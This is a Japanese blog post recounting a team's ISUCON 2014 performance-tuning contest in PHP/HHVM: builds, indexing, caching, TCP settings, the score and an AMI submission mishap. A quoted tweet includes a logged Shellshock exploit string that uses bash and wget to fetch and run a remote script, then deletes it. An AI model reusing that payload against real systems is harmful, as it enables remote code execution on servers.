石田組でISUCON参加しましたぞ!!!(二日目組です)
参加したことありそうといわれましたが、実際の所初参加です。
メンバは私、id:moznion、id:studio3104です。
夏期講習AMIなどはやりましたが、AMIをどうやったら提出なのか?という所がよくわからなかった程度には初心者でした。
ただまあ、やることはわかっていたので、些末な所ですね。
すたじおさんがぼそっと「メガネにウンコみたいなものがついてました…」 っていってて本当に大変だなとおもった #isucon
— uzulla (@uzulla) 2014年9月28日
PHPです
私は普段メールフォーム作成を主な生業としておりますから、当然(?)今回も当然PHPです。
一時は「Perlのほうがいいんじゃないですか…」ってさんざん言われたんですけど、「ならば音楽性の違いだ!!」などという浮き沈みを経由した上で、結局PHPで参加できました。
本当出題側のみなさんには頭がさがります。
ただ、普通のPHPでは勝てない気がした…というより、なんかもうちょっと一押し欲しいということで、HHVMで今回挑戦しました。正直、初期では大きな差はでなさそうではあります(試してはいない)。なんとしても最新版の3.3.0を使いたいとおもいましたので、自前ビルドです(後述)。
ストック状態で大体1600ちょっと、HHVMにして、2000ちょっとくらいになりました(記憶が曖昧)
なんでISUCONにPHPなのか、と色々回りからもいわれるのですが、好きなのでしかたないですね。
今回なんとか存在感しめしてPHPをアピールしたかったのですが…。
快晴だー #isucon pic.twitter.com/Tqr2gI0zVh
— uzulla (@uzulla) 2014年9月28日
雲一つない天気でいいなー #isucon pic.twitter.com/nqzPBqvfXk
— uzulla (@uzulla) 2014年9月28日
秘伝のたれ
HHVMのビルドは、なんだかんだで2時間くらいかかって死ぬので事前にバイナリをつくっておいた(秘伝のたれ1)
httpdもなにがでてくるかわからないので、nginxも自前ビルドしておいた(秘伝のたれ2)
一応、本家PHPもビルドしておいた(秘伝のたれ3)
様々なコピペでできるスクリプトを用意しておいた(秘伝のたれ略)
最悪mysqlとかも入れ換えできるようにyumrepoをチェックなどした(秘伝のたれ略)
その他秘伝のたれ多めでした。
サーバ構築はansibleとかが本当は良いのだと言われるかもしれませんが、こういうよくわからんときにツールをつかうと、大体ツールではまってバイオゴリラに殺されるので、私は一切そういうことをしませんでした。
(若者には白眼視されていた気がします)
まあ、実際、タレは非常に良くはたらきまして、ごく一部の差異をのぞいてそのままつかえました。
AmazonLinuxでくるだろ!と言う山勘があたって本当によかった。(あと、ギリギリででた、新しいALは絶対にきてほしくなかったww)
結果
さて、結論からいって今回我々のチームのスコアは37500点くらいになりました。結構いったやろ!とおもった(17時時点では、7位くらいだった)けど、オチは番外です。正直、全然不満足でくやしい。最低でも4万くらいほしかった。
「10位にははいるぞ!予選突破!!」と個人的には意気込んでいましたが、このていたらく、果てしなくつらい。(moznionいわく、12位くらいではないか?とのこと、不明ですが)
振り返れば改善点はまだまだ思いつきました、時間があれば行けたかもしれませんが、完全に技量不足です。
一通りやった15時過ぎに「DBスキーマ変えるのは、ぶっ壊したら面倒…」と、ためらいが生じたのが悪かったですね、今考えれば行けたかもしれない。この辺りの見切りはもっときたえないといけないですね。
あと、初期設定に一部手間取りました。これは一人の練習の時には問題にならなかったんですけど、複数人で、Mysql等のミドルウェア設定の一部を相手に託すとやっぱりよくわからんところがでるなあ、という感じです。
素振り(練習AMIでの一人での練習)以外にも、普段一緒に仕事しているわけでもなければ、やはりチームがうまくうごくか事前にやっておくべきだと強く思いました。*1
なんだかんだでそのあたりは後にひびき、モクモクとチューニングをがんばっていたら、初回のスコア送信が17時を過ぎてからになってしまいました。グラフに乗ってない…。
(まあ、いきなりきたらおもしろいかなともおもいましたが、やり方をしらべる暇がなく、まあ別に1位とれてるわけでもないし、今考えれば微妙ですね…さっさと送るべきだった)
で、どうした
さて、何をやったか。
結局DBですね、データ構造はほぼ変更せず、愚直にIndexを張ってあげるのが基本です。その後、一部のキャッシュにmemcachedをつかいました。apc_storeでもよかったんですけど、HHVMのapc_storeの知見がたりなかったので、不安でやめました。
すぐに各種limitはこえはじめたので、それを粛々と直した。
ポート枯渇は今回はunixソケットを裏で全部つかったので、TIME_WAITを十分に短くしたり、Recycleさせてエラーにならないっぽかったので有効にしたりした。Keepaliveに大きな罠とかなかったっぽいので、十分に長くしたり…。
まだまだやれる所はいくつかあったし(そして、あるみたいだし)、がんばれば、PHPでも5万〜6万は夢ではないとおもった。
最後は、悪あがきで禁断系のキャッシュ系パラメーターとかをいじりました。これはホント本番ではまずやらん設定ではあったのですが、まあやっときました*2。とはいえ、せいぜい増加は1000〜2000くらいじゃないかな…。
最終的には大体全部「実用上(?)」はまあ良い感じ(長くても、2〜30msは切る感じの)になったので、まあこんなもんかなとおもいましたが、全然10位にはいってなかった、本当にダサイ。
ちなみに、workloadは16です。ホントに16くらいが一番パフォーマンスでたので…(32だと落ちた)
天気良いしどっかいきたい #isucon
— uzulla (@uzulla) 2014年9月28日
流行に乗り遅れない!!
まさかのBash脆弱性攻撃がISUCON中にきてて本当に面白い #isucon "GET / HTTP/1.0" 200 2227 "-" "() { :;}; /bin/bash -c \x22wget(略)sh /tmp/sh;rm -rf /tmp/sh\x22"
— uzulla (@uzulla) 2014年9月28日
bash脆弱性おもしろくてさわいでたら完全にやること忘れた #isucon
— uzulla (@uzulla) 2014年9月28日
完全に本気のやつがきててウケた。
最後AMI登録で
これ一番焦ったんですけど、AMIを作ってみたら永遠に起動しなくて。
「おかしいーなー」っておもってAWSのウェブ画面でコンソールみたらカーネルパニックしていて、うああああ!!!!!!ってなったんですけど、単純に私が「過去に起動していた別のマシンをまちがえてAMI化しようとしていて、そいつはSSDで、Magneticでなかった」という非常に酷いオペミスでした。AMI提出のすぶりはしてなかったんで…。
おわったぞ!!!という疲労感の中、1時間提出できずにモヤモヤさせてすいませんでした…>チームメイト。
まあ、最終的には無事AMIは作成でき、再起動してmemdがあがってないということにきづいて、もっかい作成して、ベンチでおかしい値が出ないことを確認した上で、(多分)無事提出できました。
ということで…
ということで、結果として二日目の10位圏外です!!!本当に有り難うございました!!!。
これは本当にくやしい。「PHPもがんばればいけるんやで!!!」という所をだしたかったので、自分の技量不足で10位の外(名前が載らない)というのは本当に反省しきりです。
今回PHPが復活したということで、結構素振りもしたんですが、ううむ、自分のしょぼさを痛感です。(しかし、PHPはまだまだ上をねらえるはず!俺が悪い!)
今回、他のPHPerがはいっていてくれれば本当によいのですが、今の所はそれを知る術がありません(そのうち公開されるのかな?)。ある意味頼みの綱だった知り合いは、今回Goだったということで完全にうちのめされました…。
isucon 始まった瞬間にawsアカウント新規取得する若者が本当に面白かった
— uzulla (@uzulla) 2014年9月28日
さて
さて、今回若者(id:moznion、id:studio3104)と一緒にやったのですが、彼らは今回思うようにうごけていないようにみえました。私がもっとなんか言えばよかったのかもしれませんが、まあ半日では難しい。
彼らは根性や勘や同僚にめぐまれているので、あっというまにロートルの私なんか抜かれるはずであり、あとは素振りと場数だ!!!ということを伝えておきます。
あとはネタバレエントリがあがってきたら、それらを元に、PHPでもやればもっと行けるやんけ!というのを自己満足したいと思います。
最後に、チームメイト、ISUCON運営の皆様、参加者の皆様、お疲れ様でした!!ありがとうございました!!
こちらからは以上です。
吞みからもどってきてインスタンスを落とした。
— uzulla (@uzulla) 2014年9月28日
あ、そういえば、isuconのホームディレクトリのパーミッションが地味に変だったのは罠だったのでしょうか。(ssh鍵認証的な意味で)